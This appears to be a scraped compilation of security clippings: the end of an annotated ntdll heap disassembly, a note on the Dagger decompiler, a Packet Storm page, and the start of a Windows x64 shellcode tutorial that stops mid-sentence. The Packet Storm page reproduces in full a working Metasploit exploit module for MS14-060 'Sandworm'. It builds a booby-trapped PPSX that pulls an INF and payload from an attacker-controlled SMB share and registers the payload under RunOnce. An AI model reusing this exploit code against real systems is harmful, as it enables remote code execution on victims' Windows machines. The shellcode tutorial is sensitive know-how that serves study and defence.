    77272D36 JNZ ntdll.7723C7C9                           ; jump if their different, (loop) (ntdll!RtlpLowFragHeapFree+0x41)
    
    ; location 0x7723C7C9 (ntdll!RtlpLowFragHeapFree+0x41)
    
    7723C7C9 MOV EDI,DWORD PTR SS:[EBP-4]                 ; load the newly freed chunk
    7723C7CC JMP ntdll.77272CD5                           ; jump
    
    ;; end loop while(1)
    
    77272D3C CMP EDX,DWORD PTR SS:[EBP-1C]                ; compare the old_sequence with the new_sequence
    77272D3F JNZ ntdll.7723C7C9                           ; jump if their different and continue the loop (ntdll!RtlpLowFragHeapFree+0x41)
    77272D45 CMP WORD PTR SS:[EBP-20],0                   ; compare the _INTERLOCK_SEQ->OffsetAndDepth with NUL
    77272D4A JE ntdll.7727C675                            ; jump if its NUL (ntdll!RtlpLowFragHeapFree+0xed)
    77272D50 CMP DWORD PTR SS:[EBP-8],3                   ; compare 0x1 with 0x3 (??)
    77272D54 JE ntdll.772863CF                            ; jump if their the same (ntdll!RtlpLowFragHeapFree+0x16e)
    77272D5A POP EDI                                      ; save values
    77272D5B POP ESI
    77272D5C MOV AL,1                                     ; set the return value (correctly freed and returning True)
    77272D5E POP EBX
    77272D5F LEAVE
    77272D60 RETN                                         ; return
    
[/code]

## References

  1. Understanding the LFH - http://illmatics.com/Understanding\_the\_LFH.pdf by Dr Valasek
  2. Attacking The Vista Heap - http://lateralsecurity.com/downloads/hawkes\_ruxcon-nov-2008.pdf by Dr Hawkes
  3. NTDLL.DLL v6.1.7600.16915 and the Microsoft Windows NTDLL.DLL symbols

# Dagger - Last items

**Created:**| _4/3/2014 9:23:21 AM_  
---|---  
**Updated:**| _4/3/2014 9:23:21 AM_  
**Author:**| __  
**Tags:**| _Decompiler llvm_  
  

# Last items

> Dagger is a decompilation framework based on LLVM. It enables existing
> backends to easily provide instruction-level semantics. These are then used
> to translate target instructions to LLVM IR. Dagger also enables easy
> retargetability of several planned tools, like rewriters, static or dynamic
> binary translators \(with valgrind-like instrumentation\), and even simple
> instruction set emulators. The IR can also be transformed to do static
> analysis, or even, using a revived and improved C backend, full-blown
> decompilation.
By: Ahmed Bougacha, Geoffroy Aubey, Pierre Collet, Thomas Coudray, Jonathan
Salwan, Amaury de la Vieuville

Source code now available:

[code]

    git clone http://repzret.org/git/dagger.git
    
[/code]

# MS14-060 Microsoft Windows OLE Package Manager Code Execution ≈ Packet Storm

**Created:**| _10/18/2014 4:45:11 PM_  
---|---  
**Updated:**| _10/18/2014 4:45:11 PM_  
**Author:**| __  
**Tags:**| _Exploit windows_  
  

# MS14-060 Microsoft Windows OLE Package Manager Code Execution

**MS14-060 Microsoft Windows OLE Package Manager Code Execution**

     Posted Oct 18, 2014
     Authored by sinn3r, juan vazquez, temp66 | Site metasploit.com
    
This Metasploit module exploits a vulnerability found in Windows Object
Linking and Embedding \(OLE\) allowing arbitrary code execution, publicly
known as "Sandworm". Platforms such as Windows Vista SP2 all the way to
Windows 8, Windows Server 2008 and 2012 are known to be vulnerable.

     | exploit, arbitrary, code execution
     systems | windows, vista
     advisories | CVE-2014-4114
     | `54a27b76276520aaeb0364e75244fd14`
     Download | Favorite | Comments 
# MS14-060 Microsoft Windows OLE Package Manager Code Execution

[code]

    ##  
    # This module requires Metasploit: http//metasploit.com/download  
    # Current source: https://github.com/rapid7/metasploit-framework  
    ##  
      
    require 'msf/core'  
      
    class Metasploit3 < Msf::Exploit::Remote  
      Rank = ExcellentRanking  
      
    include Msf::Exploit::FILEFORMAT  
      include Msf::Exploit::EXE  
      
    def initialize(info={})  
        super(update_info(info,  
          'Name'           => "MS14-060 Microsoft Windows OLE Package Manager Code Execution",  
          'Description'    => %q{  
            This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)  
            allowing arbitrary code execution, publicly known as "Sandworm". Platforms such as Windows  
            Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known to be  
            vulnerable. However, based on our testing, the most reliable setup is on Windows platforms  
            running Office 2013 and Office 2010 SP2. And please keep in mind that some other setups such  
            as using Office 2010 SP1 might be less stable, and sometimes may end up with a crash due to  
            a failure in the CPackage::CreateTempFileName function.  
      
    This module will generate three files: an INF, a GIF, and a PPSX file. You are required to  
            set up a SMB or Samba 3 server and host the INF and GIF there. Systems such as Ubuntu or an  
            older version of Winodws (such as XP) work best for this because they require little  
            configuration to get going. The PPSX file is what you should send to your target.  
      
    In detail, the vulnerability has to do with how the Object Packager 2 component  
            (packager.dll) handles an INF file that contains malicious registry changes, which may be  
            leveraged for code execution. First of all, Packager does not load the INF file directly.  
            But as an attacker, you can trick it to load your INF anyway by embedding the file path as  
            a remote share in an OLE object. The packager will then treat it as a type of media file,  
            and load it with the packager!CPackage::OLE2MPlayerReadFromStream function, which will  
            download it with a CopyFileW call, save it in a temp folder, and pass that information for  
            later. The exploit will do this loading process twice: first for a fake gif file that's  
            actually the payload, and the second for the INF file.  
      
    The packager will also look at each OLE object's XML Presentation Command, specifically the  
            type and cmd property. In the exploit, "verb" media command type is used, and this triggers  
            the packager!CPackage::DoVerb function. Also, "-3" is used as the fake gif file's cmd  
            property, and "3" is used for the INF. When the cmd is "-3", DoVerb will bail. But when "3"  
            is used (again, for the INF file), it will cause the packager to try to find appropriate  
            handler for it, which will end up with C:\Windows\System32\infDefaultInstall.exe, and that  
            will install/run the malicious INF file, and finally give us arbitrary code execution.  
          },  
          'License'        => MSF_LICENSE,  
          'Author'         =>  
            [  
              'Unknown', # Vulnerability discovery  
              'sinn3r', # Metasploit module  
              'juan vazquez' # Metasploit module  
            ],  
          'References'     =>  
            [  
              ['CVE', '2014-4114'],  
              ['OSVDB', '113140'],  
              ['MSB', 'MS14-060'],  
              ['BID', '70419'],  
              ['URL' , 'http://www.isightpartners.com/2014/10/cve-2014-4114/'],  
              ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-windows-zero-day-vulnerability-cve-2014-4114-aka-sandworm/'],  
              ['URL', 'http://blog.vulnhunt.com/index.php/2014/10/14/cve-2014-4114_sandworm-apt-windows-ole-package-inf-arbitrary-code-execution/']  
            ],  
          'Payload'        =>  
            {  
              'Space'       => 2048,  
              'DisableNops' => true  
            },  
          'Platform'       => 'win',  
          'Arch'           => ARCH_X86,  
          'Targets'        =>  
            [  
              ['Windows 7 SP1 / Office 2010 SP2 / Office 2013', {}],  
            ],  
          'Privileged'     => false,  
          'DisclosureDate' => "Oct 14 2014",  
          'DefaultTarget'  => 0))  
      
    register_options(  
          [  
            OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']),  
            OptString.new('UNCPATH', [ true, 'The UNC folder to use (Ex: \\\\192.168.1.1\\share)' ])  
          ], self.class)  
      end  
      
    def exploit  
        @unc = validate_unc_path  
      
    if @unc.nil?  
          fail_with(Failure::BadConfig, "UNCPATH must be a remote shared folder")  
        end  
      
    print_status("Creating the EXE payload...")  
        payload_name = "#{rand_text_alpha(4)}.gif"  
        p = generate_payload_exe  
      
    print_status("Creating the INF file...")  
        inf_name = "#{rand_text_alpha(4)}.inf"  
        inf = inf_file(payload_name)  
      
    print_status("Creating '#{datastore['FILENAME']}' file ...")  
        exe_stream = ole_exe(payload_name)  
        inf_stream = ole_inf(inf_name)  
        zip = zip_ppsx(exe_stream, inf_stream)  
        file_create(zip)  
      
    payload_path = my_file_create(p, payload_name)  
        print_good("#{payload_name} stored at #{payload_path}, copy it to the remote share: #{@unc}")  
      
    inf_path = my_file_create(inf, inf_name)  
        print_good("#{inf_name} stored at #{inf_path}, copy it to the remote share: #{@unc}")  
      end  
      
    def validate_unc_path  
        if datastore['UNCPATH'] =~ /^\\{2}[[:print:]]+\\[[:print:]]+\\*$/  
          unc = datastore['UNCPATH']  
        else  
          unc = nil  
        end  
      
    unc  
      end  
      
    def my_file_create(data, name)  
        ltype = "exploit.fileformat.#{self.shortname}"  
        path = store_local(ltype, nil, data, name)  
      
    path  
      end  
      
    def zip_ppsx(ole_exe, ole_inf)  
        zip_data = {}  
        data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4114', 'template')  
      
    Dir["#{data_dir}/**/**"].each do |file|  
          unless File.directory?(file)  
            zip_data[file.sub(data_dir,'')] = File.read(file)  
          end  
        end  
      
    # add the otherwise skipped "hidden" file  
        file = "#{data_dir}/_rels/.rels"  
        zip_data[file.sub(data_dir,'')] = File.read(file)  
      
    # put our own OLE streams  
        zip_data['/ppt/embeddings/oleObject1.bin'] = ole_exe  
        zip_data['/ppt/embeddings/oleObject2.bin'] = ole_inf  
      
    # create the ppsx  
        ppsx = Rex::Zip::Archive.new  
        zip_data.each_pair do |k,v|  
          ppsx.add_file(k,v)  
        end  
      
    ppsx.pack  
      end  
      
    def ole_inf(file_name)  
        content = "EmbeddedStg2.txt\x00"  
        content << "#{@unc}\\#{file_name}\x00"  
      
    data = [content.length].pack('V')  
        data << content  
        ole = create_ole("\x01OLE10Native", data)  
      
    ole  
      end  
      
    def ole_exe(file_name)  
        content = "EmbeddedStg1.txt\x00"  
        content << "#{@unc}\\#{file_name}\x00"  
      
    data = [content.length].pack('V')  
        data << content  
      
    ole = create_ole("\x01OLE10Native", data)  
      
    ole  
      end  
      
    def create_ole(stream_name, data)  
        ole_tmp = Rex::Quickfile.new('ole')  
        stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)  
      
    stm = stg.create_stream(stream_name)  
        stm << data  
        stm.close  
      
    directory = stg.instance_variable_get(:@directory)  
        directory.each_entry do |entry|  
          if entry.instance_variable_get(:@_ab) == 'Root Entry'  
            # 02260200-0000-0000-c000-000000000046 # Video clip  
            clsid = Rex::OLE::CLSID.new("\x02\x26\x02\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46")  
            entry.instance_variable_set(:@_clsId, clsid)  
          end  
        end  
      
    # write to disk  
        stg.close  
      
    ole_contents = File.read(ole_tmp.path)  
        ole_tmp.close  
        ole_tmp.unlink  
      
    ole_contents  
      end  
      
    def inf_file(gif_name)  
        inf = <<-EOF  
    ; 61883.INF  
    ; Copyright (c) Microsoft Corporation.  All rights reserved.  
      
    [Version]  
    Signature = "$CHICAGO$"  
    Class=61883  
    ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}  
    Provider=%Msft%  
    DriverVer=06/21/2006,6.1.7600.16385  
      
    [DestinationDirs]  
    DefaultDestDir = 1  
      
    [DefaultInstall]  
    RenFiles = RxRename  
    AddReg = RxStart  
      
    [RxRename]  
    #{gif_name}.exe, #{gif_name}  
    [RxStart]#  
    HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,%1%\\#{gif_name}.exe  
    EOF  
      
    inf  
      end  
      
    end  
      
    
[/code]

## Comments

No comments yet, be the first\!

Login or Register to post a comment

# Windows x64 Shellcode | McDermott Cybersecurity
**Created:**| _7/15/2011 2:45:38 PM_  
---|---  
**Updated:**| _7/15/2011 2:45:38 PM_  
**Author:**| __  
**Tags:**| _shellcode windows security windows environment x64_  
  

64-bit Device Driver Development →

#  Windows x64 Shellcode

January 11, 2011

### Contents

  * Introduction
  * RIP-Relative Addressing
  * API Lookup Overview
  * API Lookup Demo
  * The Code
  * Building
  * Testing
  * Comments
  * Mitigations

### Introduction

_Shellcode_ refers to a chunk of executable machine code \(along with any
associated data\) which is executed after being injected into the memory of a
process usually by means of a buffer-overflow type of security vulnerability.
The term comes from the fact that in early exploits against Unix platforms, an
attacker would typically execute code that would start a command shell
listening on a TCP/IP port, to which the attacker could then connect and have
full access to the system. For the common web-browser and application exploits
on Windows today, the “shellcode” is more likely to download and execute
another program than spawn a command shell, but the term remains.

In general, shellcode can be thought of as any code that is capable of being
executed from an arbitrary location in memory and without relying on services
provided by the operating system loader as with traditional executables.
Depending on the exploit, additional requirements for shellcode may include
small size and avoiding certain byte patterns in the code. In any case, there
are two tasks performed by the loader which shellcode must take care of
itself:

  1. Getting the addresses of data elements \(such as strings referenced by the code\)
  2. Getting the addresses of system API functions used

This article describes a shellcode implementation of the x64 assembly program
from my Windows Assembly Languages article \(refer to that article for general
x64 assembly programming issues such as calling conventions and stack usage\).
As you’ll see, the main program code doesn’t look much different. Task \#1
above actually turns out to be a non-issue on x64 platforms due to a new
feature called _RIP-relative addressing._ Task \#2 is what comprises the bulk
of the effort. In fact, the code for looking up API functions is significantly
larger and more complex than the main program itself. The only other
difference between the vanilla and shellcode versions of x64 hello world is
that the shellcode does not use a **.data** section, instead placing the
strings in the **.code** section after **main**. This is because “sections”
are a feature of the executable file format, whereas shellcode needs to be
just a single block of code and data.

### RIP-Relative Addressing

_RIP_ refers to the instruction pointer register on x64, and RIP-relative
addressing means that references to memory addresses being read or written can
be encoded as offsets from the currently-executing instruction. This is not a
completely new concept, as **jmp** and **call** instructions have always
supported relative targets on x86, but the ability to**read and write** memory
using relative addressing is new with x64.

On x86, the labels referring to data variables would be replaced with actual
hard-coded memory addresses when the program was assembled and linked, under
the assumption that the program would be loaded at a specific base address. If
at runtime the program needed to load at a different base address, the loader
would perform _relocation_ by updating all of those hard-coded addresses.
Because shellcode needed to run from anywhere in memory, it needed to
determine these addresses dynamically and typically used a trick where the
call instruction would push the address just past itself onto the stack as the
return address. This “return address” could then be popped off the stack to
get a pointer to the string at runtime:

[code]

        call skip
        db ‘Hello world’, 0
    skip:
        pop esi      ;esi now points to ‘Hello world’ string
    
[/code]

On x64 we do not need this trick. RIP-relative addressing is not only
supported but is in fact the default, so we can simply refer to strings using
labels as with ordinary code and it Just Works™.

### API Lookup Overview

Even the most trivial programs generally need to call various operating system
API functions to perform some of type of input/output \(I/O\) – displaying
things to the user, accessing files, making network connections, etc. On
Windows these API functions are implemented in various system DLLs, and in
standard application development these API functions can simply be referred to
by name. When the program is compiled and linked, the linker puts information
in the resulting executable indicating which functions from which DLLs are
required. When the program is run, the loader ensures that the necessary DLLs
are loaded and that the addresses of the called functions are resolved.

Windows also provides another facility that can be used by applications to
load additional DLLs and look up functions on demand: the **LoadLibrary\(\)**
and **GetProcAddress\(\)** APIs in kernel32.dll. Not having the benefit of the
loader, shellcode needs to use LoadLibrary\(\) and GetProcAddress\(\) for all
API functions it uses. This unfortunately presents a Catch-22: How does the
shellcode get the addresses of LoadLibrary\(\) and GetProcAddress\(\)?

It turns out that an equivalent to GetProcAddress\(\) can be implemented by
traversing the data structures of a loaded DLL in memory. Also, kernel32.dll
is always loaded in the address space of every process on Windows, so
LoadLibrary\(\) can be found there and used to load other DLLs.

Developing shellcode using this technique requires a solid understanding of
the Portable Executable \(PE\) file format used on Windows for EXE and DLL
files, and the next section of this article assumes some familiarity. The
following references and tools may be helpful:

  * Matt Pietrek’s _An In-Depth Look into the Win32 Portable Executable File Format:_part1 and part2. Note that this only covers 32-bit and not 64-bit PE files, but the differences are very minor – mostly just widening some memory address fields to 64 bits
  * The offical Microsoft Portable Executable and Common Object File Format Specification
  * Daniel Pistelli’s CFF Explorer is a nice GUI tool for viewing and editing PE files, with 64-bit support
  * The dumpbin utility included with Visual C++ \(including Express Edition\) – the most useful switches for our purposes are /headers and /exports
  * Many of the PE data structures are documented in MSDN under ImageHlp Structures
  * Definitions of the data structures can be found in **winnt.h** in the **Include** directory of the Windows SDK
  * The **dt** command in WinDbg is able to display many of these structures

### API Lookup Demo

This demonstration of how to find the address of a function in a loaded DLL
can be followed by attaching WinDbg to any 64-bit process \(I’m using
notepad.exe\). Note that the particular values seen here may be different on
your system.

First we’ll get the address of the Thread Environment Block \(TEB\), sometimes
also referred to as the Thread Information Block \(TIB\). The TEB contains a
large number of fields pertaining to the current thread, and on x64 the fields
can be accessed as offsets from the GS segment register during program
execution \(the FS register was used on x86\). In WinDbg, the pseudo register
$teb contains the address of the TEB.

[code]

    0:001> **r $teb**
    $teb=000007fffffdb000
    0:001> **dt _TEB @$teb**
    ntdll!_TEB
       +0x000 NtTib            : _NT_TIB
       +0x038 EnvironmentPointer : (null)
       +0x040 ClientId         : _CLIENT_ID
       +0x050 ActiveRpcHandle  : (null)
       +0x058 ThreadLocalStoragePointer : (null)
       +0x060 **ProcessEnvironmentBlock** : **0x000007ff`fffdd000** _PEB
       +0x068 LastErrorValue   : 0
       [...]
[/code]

The only field from the TEB we are interested in is the pointer to the Process
Environment Block \(PEB\). Note that WinDbg also has a $peb pseudo-register,
but in the shellcode implementation we will have to use the GS register to go
through the TEB first.

[code]

    0:001> **dt _PEB 7ff`fffdd000**
    ntdll!_PEB
       +0×000 InheritedAddressSpace : 0 ''
       +0×001 ReadImageFileExecOptions : 0 ''
       +0×002 BeingDebugged    : 0×1 ''
       +0×003 BitField         : 0×8 ''
       +0×003 ImageUsesLargePages : 0y0
       +0×003 IsProtectedProcess : 0y0
       +0×003 IsLegacyProcess  : 0y0
       +0×003 IsImageDynamicallyRelocated : 0y1
       +0×003 SkipPatchingUser32Forwarders : 0y0
       +0×003 SpareBits        : 0y000
       +0×008 Mutant           : 0xffffffff`ffffffff Void
       +0×010 ImageBaseAddress : 0×00000000`ff8b0000 Void
       +0×018 **Ldr**              : **0×00000000`779a3640** _PEB_LDR_DATA
       [...]
[/code]

The PEB contains numerous fields with process-specific data and we are
interested in the Ldr field at offset 0×18 which points to a structure of type
PEB\_LDR\_DATA.

[code]

    0:001> **dt _PEB_LDR_DATA 779a3640**
    ntdll!_PEB_LDR_DATA
       +0×000 Length           : 0×58
       +0×004 Initialized      : 0×1 ''
       +0×008 SsHandle         : (null)
       +0×010 **InLoadOrderModuleList** : _LIST_ENTRY [ 0x00000000`00373040 - 0x39a3b0 ]
       +0×020 **InMemoryOrderModuleList** : _LIST_ENTRY [ 0x00000000`00373050 - 0x39a3c0 ]
       +0×030 **InInitializationOrderModuleList** : _LIST_ENTRY [ 0x00000000`00373150 - 0x39a3d0 ]
       +0×040 EntryInProgress  : (null)
       +0×048 ShutdownInProgress : 0 ''
       +0×050 ShutdownThreadId : (null)
[/code]

The PEB\_LDR\_DATA structure contains three linked lists of loaded modules –
InLoadOrderModuleList, InMemoryOrderModuleList, and
InInitializationOrderModuleList. A _module_ or _image_ refers to any PE file
in memory – the main program executable as well as any currently-loaded DLLs.
All three lists contain the same elements just in a different order, with the
one exception that InInitializationOrderModuleList only contains DLLs and
excludes the main executable.

The elements of these lists are of type LDR\_DATA\_TABLE\_ENTRY, though you
can’t tell from the previous output because they are only shown as LIST\_ENTRY
which is the generic linked list header datatype used throughout Windows. A
LIST\_ENTRY simply consists of a forward and back pointer for creating
circular, doubly-linked lists. The address of the \_LIST\_ENTRY within the
\_PEB\_LDR\_DATA structure represents the _list head._ When traversing the
circular list, arriving back at the list head is the way to know when
complete.

[code]

    0:001> **dt _LIST_ENTRY**
    ntdll!_LIST_ENTRY
       +0×000 Flink            : Ptr64 _LIST_ENTRY
       +0×008 Blink            : Ptr64 _LIST_ENTRY
[/code]

The **\!list** command provides the ability to traverse these types of lists
and execute a specific command for each element in the list \(in this case
displaying the element as an LDR\_DATA\_TABLE\_ENTRY data structure\). WinDbg
commands can get nasty-looking sometimes but are quite powerful. Here we
display the InLoadOrderModuleList with list head at offset **0×10** from the
beginning of the PEB\_LDR\_DATA structure \(very long output truncated to show
just part of one element\):

[code]

    0:001> **!list -t ntdll!_LIST_ENTRY.Flink -x "dt _LDR_DATA_TABLE_ENTRY @$extret" 779a3640+10**
       [...]
    ntdll!_LDR_DATA_TABLE_ENTRY
       +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000`00333620 - 0x333130 ]
       +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000`00333630 - 0x333140 ]
       +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000`003344e0 - 0x333640 ]
       +0x030 **DllBase**          : 0x00000000`77650000 Void
       +0x038 EntryPoint       : 0x00000000`7766eff0 Void
       +0x040 SizeOfImage      : 0x11f000
       +0x048 FullDllName      : _UNICODE_STRING "C:\Windows\system32\kernel32.dll"
       +0x058 **BaseDllName**      : _UNICODE_STRING "kernel32.dll"
       +0x068 Flags            : 0x84004
       [...]
[/code]

Interesting fields for us within an LDR\_DATA\_TABLE\_ENTRY structure are
DllBase at 0×30 and BaseDllName at 0×58. Note that BaseDllName is a
UNICODE\_STRING, which is an actual data structure and not simply a null-
terminated Unicode string. The actual string data can be found at offset 0×8
in the structure, for a total of 0×60 from BaseDllName.

[code]

    0:001> **dt _UNICODE_STRING**
    ntdll!_UNICODE_STRING
       +0×000 Length           : Uint2B
       +0×002 MaximumLength    : Uint2B
       +0×008 Buffer           : Ptr64 Uint2B
[/code]

Armed with this knowledge, we now have the ability to obtain the base address
of any DLL given it’s name. Once we have the base address we can traverse the
DLL in memory to locate any function exported by the DLL. Also note that the
return value of LoadLibrary\(\) is in fact a DLL base address. The base
address of a loaded DLL can also be obtained in WinDbg with the **lm**
command. Let’s take a look at kernel32.dll:

[code]

    0:001> **lm m kernel32**
    start             end                 module name
    **00000000`77650000** 00000000`7776f000   kernel32   (deferred)
[/code]

An interesting feature of the PE file and loader is that the PE file format in
memory is exactly the same as it is on disk, at least as far as the headers.
It’s not exactly true that the entire file is read verbatim into memory,
because each section is loaded at a certain byte alignment in memory
\(typically a multiple of 4096, the virtual memory page size\) that may be
different from where it falls in the file. Also, some sections \(like a debug
data section\) may not be read into memory at all. However, when we look at
the DLL base address in memory, we can expect to find what we see at the
beginning of any PE file: a DOS “MZ” header. That’s an IMAGE\_DOS\_HEADER
structure to be exact:

[code]

    0:001> **dt _IMAGE_DOS_HEADER 77650000**
    ntdll!_IMAGE_DOS_HEADER
       +0×000 e_magic          : 0x5a4d
       +0×002 e_cblp           : 0×90
       +0×004 e_cp             : 3
       +0×006 e_crlc           : 0
       +0×008 e_cparhdr        : 4
       +0x00a e_minalloc       : 0
       +0x00c e_maxalloc       : 0xffff
       +0x00e e_ss             : 0
       +0×010 e_sp             : 0xb8
       +0×012 e_csum           : 0
       +0×014 e_ip             : 0
       +0×016 e_cs             : 0
       +0×018 e_lfarlc         : 0×40
       +0x01a e_ovno           : 0
       +0x01c e_res            : [4] 0
       +0×024 e_oemid          : 0
       +0×026 e_oeminfo        : 0
       +0×028 e_res2           : [10] 0
       +0x03c **e_lfanew**         : **0n224**
[/code]

The e\_lfanew field at 0x3c \(which for some reason is displayed as a decimal
number even though everything else is hex\) contains the byte offset to the NT
header \(IMAGE\_NT\_HEADERS64\). Converting 224 to hex **0xe0** and adding to
the image base will point to the NT header at **0x776500e0**. We can use the
**–r** option \(recursive\) to expand the embedded OptionalHeader field
\(which is a misnomer as it is required and always present\):

[code]

    0:001> **dt -r _IMAGE_NT_HEADERS64 776500e0**
    ntdll!_IMAGE_NT_HEADERS64
       +0×000 Signature        : 0×4550
       +0×004 FileHeader       : _IMAGE_FILE_HEADER
          +0×000 Machine          : 0×8664
          +0×002 NumberOfSections : 6
          +0×004 TimeDateStamp    : 0x4a5bdfdf
          +0×008 PointerToSymbolTable : 0
          +0x00c NumberOfSymbols  : 0
          +0×010 SizeOfOptionalHeader : 0xf0
          +0×012 Characteristics  : 0×2022
       +0×018 **OptionalHeader**   : _IMAGE_OPTIONAL_HEADER64
          +0×000 Magic            : 0x20b
          +0×002 MajorLinkerVersion : 0×9 ''
          +0×003 MinorLinkerVersion : 0 ''
          [...]
          +0×068 LoaderFlags      : 0
          +0x06c NumberOfRvaAndSizes : 0×10
          +0×070 **DataDirectory**    : [16] _IMAGE_DATA_DIRECTORY
          [...]
[/code]

The DataDirectory field is located a total of **0×88** bytes from the NT
headers \(offset **0×70** from OptionalHeader which is **0×18** from the NT
headers\). This is an array of 16 elements corresponding to the various types
of data in a PE file.

[code]

    0:001> **dt -a16c _IMAGE_DATA_DIRECTORY 776500e0+88**
    ntdll!_IMAGE_DATA_DIRECTORY
    [0] @ 0000000077650168 +0×000 VirtualAddress **0xa0020**  +0×004 Size **0xac33**
    [1] @ 0000000077650170 +0×000 VirtualAddress 0xf848c  +0×004 Size 0x1f4
    [2] @ 0000000077650178 +0×000 VirtualAddress 0×116000  +0×004 Size 0×520
    [3] @ 0000000077650180 +0×000 VirtualAddress 0x10c000  +0×004 Size 0×9810
    [4] @ 0000000077650188 +0×000 VirtualAddress 0  +0×004 Size 0
    [5] @ 0000000077650190 +0×000 VirtualAddress 0×117000  +0×004 Size 0x7a9c
    [6] @ 0000000077650198 +0×000 VirtualAddress 0x9b7dc  +0×004 Size 0×38
    [7] @ 00000000776501a0 +0×000 VirtualAddress 0  +0×004 Size 0
    [8] @ 00000000776501a8 +0×000 VirtualAddress 0  +0×004 Size 0
    [9] @ 00000000776501b0 +0×000 VirtualAddress 0  +0×004 Size 0
    [10] @ 00000000776501b8 +0×000 VirtualAddress 0  +0×004 Size 0
    [11] @ 00000000776501c0 +0×000 VirtualAddress 0x2d8  +0×004 Size 0×408
    [12] @ 00000000776501c8 +0×000 VirtualAddress 0x9c000  +0×004 Size 0x1c70
    [13] @ 00000000776501d0 +0×000 VirtualAddress 0  +0×004 Size 0
    [14] @ 00000000776501d8 +0×000 VirtualAddress 0  +0×004 Size 0
    [15] @ 00000000776501e0 +0×000 VirtualAddress 0  +0×004 Size 0
[/code]

We are interested in the Export Directory which is the first one in the list
having VirtualAddress **0xa0020** and Size **0xac33**. See the MSDN
documentation of the IMAGE\_DATA\_DIRECTORY structure for a reference on which
type of data goes with each array element.

A virtual address, also called a _Relative Virtual Address \(RVA\)_ is an
offset from the base load address of the module. RVAs are used extensively in
PE files, including for the pointers to the function names and function
addresses in the export table. To get the actual memory address pointed to by
an RVA, simply add the base address of the module.

\(For convenience, note that the **\!dh** command can be used to automatically
display much of the PE header information we’ve extracted manually so far.\)

Given that the Export Directory begins at RVA **0xa0020** , we add the base
address **0×77650000** and should therefore expect to find an
IMAGE\_EXPORT\_DIRECTORY structure at **0x776f0020**. Unfortunately
IMAGE\_EXPORT\_DIRECTORY is not understood by the **dt** command or documented
in MSDN, so we will have to refer to the structure definition in winnt.h:

[code]

    typedef struct _IMAGE_EXPORT_DIRECTORY {
        DWORD   Characteristics;
        DWORD   TimeDateStamp;
        WORD    MajorVersion;
        WORD    MinorVersion;
        DWORD   Name;
        DWORD   Base;
        DWORD   NumberOfFunctions;
        DWORD   NumberOfNames;
        DWORD   AddressOfFunctions;     // RVA from base of image
        DWORD   AddressOfNames;         // RVA from base of image
        DWORD   AddressOfNameOrdinals;  // RVA from base of image
    } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
[/code]

The best we can do in WinDbg is display the structure as an array of DWORDs
and count where things fall using the above structure as a reference.

[code]

    0:001> **dd 776f0020**
    00000000`776f0020  00000000 4a5bc32c 00000000 000a366c
    00000000`776f0030  00000001 0000056a 0000056a **000a0048**
    00000000`776f0040  **000a15f0** **000a2b98** 000aa10b 000aa12c
    [...]
[/code]

Beginning with the 8th DWORD within the structure we will find
AddressOfFunctions \(**0xa0048**\), followed by AddressOfNames \(**0xa15f0\)**
and AddressOfNameOrdinals \(**0xa2b98**\). These values are RVAs – when we add
the DLL base address we will get the memory address of the array. When working
with RVAs a lot it can be handy to stash the DLL base address in a pseudo-
register because it will be used so frequently. Here is AddressOfNames:

[code]

    0:001> **r $t0=77650000**
    0:001> **dd @$t0+a15f0**
    00000000`776f15f0  **000a3679** 000a3691 000a36a6 000a36b5
    00000000`776f1600  000a36be 000a36c7 000a36d8 000a36e9
    00000000`776f1610  000a370f 000a372e 000a374d 000a375a
    [...]
[/code]

This is an array of RVAs pointing to the function name strings \(the size of
the array is given by the NumberOfNames field in IMAGE\_EXPORT\_DIRECTORY\).
Take a look at the first one \(adding DLL base address of course\) and we see
the name of a function exported from kernel32.dll.

[code]

    0:001> **da @$t0+a3679**
    00000000`776f3679  "AcquireSRWLockExclusive"
[/code]

We can ultimately find the address of a function based on the array index of
where the name is found in this array. The AddressOfNameOrdinals array is a
parallel array to AddressOfNames, which contains the _ordinal values_
associated with each name. An ordinal value is the index which is finally used
to look up the function address in the AddressOfFunctions array. \(DLLs have
the option of exporting functions by ordinal only without even having a
function name, and in fact the GetProcAddress\(\) API can be called with a
numeric ordinal instead of a string name\).

More often than not, the value in each slot of the AddressOfNameOrdinals array
has the same value as its array index but this is not guaranteed. Note that
AddressOfNameOrdinals is an array of WORDs, not DWORDs. In this case it
appears to follow the pattern of each element having the same value as its
index.

[code]

    0:001> **dw @$t0+a2b98**
    00000000`776f2b98  0000 0001 0002 0003 0004 0005 0006 0007
    00000000`776f2ba8  0008 0009 000a 000b 000c 000d 000e 000f
    00000000`776f2bb8  0010 0011 0012 0013 0014 0015 0016 0017
    [...]
[/code]

Once we have the ordinal number of a function, the ordinal is used as an index
into the AddressOfFunctions array:

[code]

    0:001> **dd @$t0+a0048**
    00000000`776f0048  **000aa10b** 000aa12c **000044b0** 00066b20
    00000000`776f0058  00066ac0 0006ad90 0006ae00 0004b7d0
    00000000`776f0068  000956e0 0008fbb0 00048cc0 0004b800
    [...]
[/code]

The interpretation of the values in this array depends on whether the function
is forwarded. _Export Forwarding_ is a mechanism by which a DLL can declare
that an exported function is actually implemented in a different DLL. If the
function is not forwarded, the value is an RVA pointing to the actual function
code. If the function is forwarded, the RVA points to an ASCII string giving
the target DLL and function name. You can tell in advance if a function is
forwarded based on the range of the RVA – the function is forwarded if the RVA
falls within the export directory \(as given by the VirtualAdress and Size in
the IMAGE\_DATA\_DIRECTORY entry\).

You can practically see at a glance which RVAs above are in the vicinity of
the export directory addresses we’ve been working with. The first element in
the array corresponds to our old friend AcquireSRWLockExclusive which we can
see is forwarded to another function in NTDLL:

[code]

    0:001> **da @$t0+aa10b**
    00000000`776fa10b  "NTDLL.RtlAcquireSRWLockExclusive"
    00000000`776fa12b  ""
[/code]

The third array element, on the other hand, is not forwarded and points
